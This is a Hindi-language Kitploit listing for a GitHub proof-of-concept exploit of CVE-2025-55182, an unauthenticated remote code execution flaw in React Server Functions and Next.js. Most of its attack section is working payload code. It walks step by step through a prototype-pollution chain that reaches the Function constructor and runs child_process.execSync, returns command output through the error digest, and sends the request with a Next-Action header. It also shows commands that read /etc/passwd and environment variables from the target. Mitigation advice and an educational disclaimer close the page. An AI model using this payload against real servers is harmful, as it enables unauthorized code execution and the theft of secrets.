Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-55182 — CVE-2025-55182 के लिए प्रमाण-अवधारणा शोषण, जो React Server Functions (Next.js) में एक दूरस्थ कोड निष्पादन भेद्यता है। यह प्रोटोटाइप प्रदूषण के माध्यम से बिना प्रमाणीकरण के मनमाना कोड निष्पादन को प्रदर्शित करता है, जो अनुरूपित HTTP अनुरोधों के माध्यम से होता है। | Kitploit
उपकरण/GitHubGitHub/yuta3003/cve-2025-55182
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणCTFपेपर और शोधलर्निंग और शिक्षा
GitHubyuta3003/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 के लिए प्रमाण-अवधारणा शोषण, जो React Server Functions (Next.js) में एक दूरस्थ कोड निष्पादन भेद्यता है। यह प्रोटोटाइप प्रदूषण के माध्यम से बिना प्रमाणीकरण के मनमाना कोड निष्पादन को प्रदर्शित करता है, जो अनुरूपित HTTP अनुरोधों के माध्यम से होता है।

रिपॉजिटरी देखें
29 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-55182

यह React Server Functions (Next.js आदि) में रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता का प्रदर्शन कोड है। यह प्रोटोटाइप प्रदूषण का दुरुपयोग करके बिना प्रमाणीकरण के सर्वर पर मनमाना कोड निष्पादित कर सकता है।

चेतावनी: यह रिपॉजिटरी शैक्षिक और शोध उद्देश्यों के लिए है। दुरुपयोग सख्त वर्जित है।


अवलोकन

प्रभावित संस्करण

  • Next.js: 16.0.6 और उससे पहले (कमजोर)
  • React: इस कमिट से पहले

भेद्यता की गंभीरता

  • CVSS: उच्च (विस्तृत स्कोर अप्रकाशित)
  • हमला कठिनाई: कम (प्रमाणीकरण की आवश्यकता नहीं, एक HTTP अनुरोध से हमला संभव)
  • प्रभाव क्षेत्र: सर्वर पर मनमाना कोड निष्पादन

भेद्यता का कारण

React Flight Protocol के डिसीरियलाइज़ेशन प्रोसेस में प्रोटोटाइप चेन का अपर्याप्त सत्यापन। इससे __proto__ के माध्यम से Function कंस्ट्रक्टर तक पहुँचकर मनमाना JavaScript कोड निष्पादित किया जा सकता है।


उपयोग

Docker वातावरण (अनुशंसित)

सबसे आसान सत्यापन विधि।

root@kitploit:~
# 1. कमजोर Next.js सर्वर प्रारंभ करें
docker compose up -d --build

# 2. एक्सप्लॉइट चलाएं (डिफ़ॉल्ट: id कमांड)
docker compose run --rm poc

# 4. कस्टम कमांड चलाएं
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc

# 5. सर्वर रोकें
docker-compose down

तकनीकी व्याख्या

1. पूर्व ज्ञान

React Server Functions क्या हैं?

यह Next.js आदि द्वारा प्रदान की गई सर्वर-साइड API सुविधा है।

root@kitploit:~
// Server Action (सर्वर-साइड पर ही निष्पादित फ़ंक्शन)
async function submitForm(formData) {
  'use server'  // ← सर्वर फ़ंक्शन की घोषणा

  // डेटाबेस संचालन आदि, सर्वर-साइड प्रसंस्करण
  const result = await db.insert(formData)
  return result
}

क्लाइंट से कॉल करने पर:

  1. HTTP अनुरोध के रूप में सर्वर पर भेजा जाता है
  2. React Flight Protocol द्वारा तर्कों को सीरियलाइज़/डिसीरियलाइज़ किया जाता है
  3. सर्वर-साइड पर फ़ंक्शन निष्पादित किया जाता है
  4. परिणाम क्लाइंट को लौटाया जाता है

React Flight Protocol का तंत्र

क्लाइंट "चंक" नामक इकाइयों में डेटा भेजता है:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),                                  # चंक0: चंक1 का संदर्भ
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # चंक1: चंक2 के fruitName का संदर्भ
    "2": (None, '{"fruitName":"cherry"}'),                  # चंक2: वास्तविक डेटा
}

सर्वर-साइड पर डिसीरियलाइज़ होने पर:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

चंकों के बीच आपसी संदर्भ संभव होना मुख्य बिंदु है।


2. भेद्यता का विवरण

समस्या

सुधार कमिट से पहले, चंक संदर्भों को हल करते समय, यह सत्यापित नहीं किया जाता था कि कुंजी वास्तव में ऑब्जेक्ट में मौजूद है या नहीं।

इससे प्रोटोटाइप चेन तक पहुँचा जा सकता है।

मूल हमला (Function कंस्ट्रक्टर प्राप्त करना)

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

संदर्भ हल करने की प्रक्रिया:

root@kitploit:~
चंक1 का ऑब्जेक्ट → __proto__ → constructor → constructor → Function

परिणाम:

root@kitploit:~
[Function: Function]  // Function कंस्ट्रक्टर प्राप्त हुआ!

हमले का विकास (then मेथड का दुरुपयोग)

चंक0 को ऑब्जेक्ट बनाएं और then प्रॉपर्टी को Function कंस्ट्रक्टर पर सेट करें:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Next.js कोड (action-handler.ts:888, पैच से पहले):

root@kitploit:~
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

यह await, जब then Function कंस्ट्रक्टर वाले ऑब्जेक्ट को कॉल करने का प्रयास करता है, तो त्रुटि होती है:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

3. एक्सप्लॉइट तकनीक (उन्नत)

चुनौती

Function कंस्ट्रक्टर प्राप्त हो गया, लेकिन मनमाना कोड कैसे निष्पादित करें?

आवश्यक चीजें:

  1. Function कंस्ट्रक्टर को कॉल करने वाला गैजेट (कोड को स्ट्रिंग के रूप में पास करना)
  2. उत्पन्न फ़ंक्शन को निष्पादित करने वाला गैजेट

समाधान: स्व-संदर्भित चंक

maple3142 का विचार: एक "नकली चंक" बनाएं जहाँ चंक0 स्वयं को संदर्भित करता है।

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),  # अपने then को Chunk.prototype.then से ओवरराइड करें
    "1": (None, '"$@0"'),                          # $@0 = चंक0 का "कच्चा" प्रतिनिधित्व
}

$@ सिंटैक्स हल किए गए मान के बजाय "कच्चा चंक" लौटाता है:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

परिणाम: चंक0 का then Chunk.prototype.then से बदल दिया जाता है।

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
  switch (this.status) {
    case "resolved_model":
      initializeModelChunk(this);  // ← यहाँ प्रवेश करता है
  }
  // ...
}

दो-चरणीय मूल्यांकन का दुरुपयोग

नकली चंक में status: "resolved_model" सेट करने पर initializeModelChunk कॉल होता है:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

initializeModelChunk के अंदर:

root@kitploit:~
function initializeModelChunk(chunk) {
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...
}

यहाँ दूसरा मूल्यांकन होता है।

अंतिम पेलोड: Blob प्रसंस्करण का दुरुपयोग

React Flight Protocol का blob प्रसंस्करण ($B उपसर्ग):

root@kitploit:~
case "B":
  return (
    obj = parseInt(value.slice(2), 16),
    response._formData.get(response._prefix + obj)  // ← इसका दुरुपयोग करें
  );

नकली चंक के _response में हेरफेर करके, _formData.get को Function कंस्ट्रक्टर और _prefix को निष्पादित करने वाले कोड पर सेट करें:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,  # toString() में त्रुटि से बचने के लिए
    "value": '{"then": "$B0"}',  # blob संदर्भ से then सेट करें
    "_response": {
        "_prefix": "process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",  # Function कंस्ट्रक्टर
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

निष्पादन का प्रवाह:

root@kitploit:~
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// यह फ़ंक्शन await होकर कॉल होता है → कोड निष्पादन!

4. PoC का संचालन

poc.py उपरोक्त पेलोड को लागू करता है और कमांड निष्पादन परिणाम को त्रुटि संदेश से निकालता है:

root@kitploit:~
# कमांड आउटपुट को त्रुटि के digest फ़ील्ड में एम्बेड करें
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"

HTTP हेडर में Next-Action: x सेट करने मात्र से हमला सफल होता है:

root@kitploit:~
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)

महत्वपूर्ण: यह हमला डिसीरियलाइज़ेशन के दौरान होता है, इसलिए यह कार्रवाई सत्यापन (getActionModIdOrError) से पहले निष्पादित होता है।


उपाय

डेवलपर्स के लिए

  1. तुरंत अपडेट करें: React और Next.js को नवीनतम संस्करण में अपडेट करें

    root@kitploit:~
    npm update react react-dom next
    
  2. संस्करण जांचें:

    root@kitploit:~
    npm list react next
    
    • Next.js 16.0.7 और बाद का
    • React 19.2.1 और बाद का (सुधार कमिट सहित)
  3. WAF/सुरक्षा उपाय:

    • Next-Action हेडर की निगरानी
    • असामान्य फ़ॉर्म डेटा को ब्लॉक करना

भेद्यता स्कैन

root@kitploit:~
# प्रोजेक्ट की भेद्यता जांच
npm audit

संदर्भ

  1. React Server Functions आधिकारिक दस्तावेज़
  2. React Flight Protocol की व्याख्या
  3. सुधार कमिट
  4. JavaScript प्रोटोटाइप व्याख्या
  5. Function कंस्ट्रक्टर
  6. खोजकर्ता: maple3142

लाइसेंस और अस्वीकरण

यह रिपॉजिटरी केवल शैक्षिक और शोध उद्देश्यों के लिए प्रदान की गई है।

  • बिना अनुमति तीसरे पक्ष के सिस्टम पर उपयोग करना अवैध है
  • उपयोग से उत्पन्न किसी भी क्षति के लिए निर्माता जिम्मेदार नहीं है
  • सुरक्षा शोधकर्ता जिम्मेदारी से उपयोग करें

योगदान

भेद्यता की खोज: maple3142 PoC कार्यान्वयन: इस रिपॉजिटरी के निर्माता

टूल डाउनलोड करें